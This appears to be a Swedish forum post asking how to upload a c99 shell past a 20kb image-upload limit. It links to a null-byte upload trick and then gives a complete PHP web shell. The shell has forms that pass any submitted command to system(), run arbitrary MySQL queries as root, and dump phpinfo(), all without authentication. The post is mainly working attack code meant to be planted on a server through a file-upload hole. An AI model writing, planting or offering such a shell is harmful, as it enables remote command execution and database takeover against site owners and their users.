Ladda upp c99 shell där 20kb är MAX upload för bilder?

http://www.theprohack.com/2009/07/null-byte-hack.html

<?php

mysql_connect("localhost","root","");

echo "<b>Kodknack for president</b><br><br><br>";

echo "Input commands to be executed:";

echo "
<form method='POST'>
<input type='text' name='cmd'>
<input type='submit' name='submit' value='Execute'>
</form>";

echo "Input MySQL-query:";

echo "
<form method='POST'>
<input type='text' name='sql'>
<input type='submit' name='submit2' value='MySQL query'>
</form>";

echo "Get server information:";

echo "
<form method='POST'>
<input type='submit' name='info' value='Server Info'>
</form>";

if (isset($_POST['cmd']))
{
$command = $_POST['cmd'];
@system($command);
}
if (isset($_POST['sql']))
{
$query = $_POST['sql'];
mysql_query($query) or die (mysql_error());
}
if(isset($_POST['info']))
{
phpinfo();
}
?>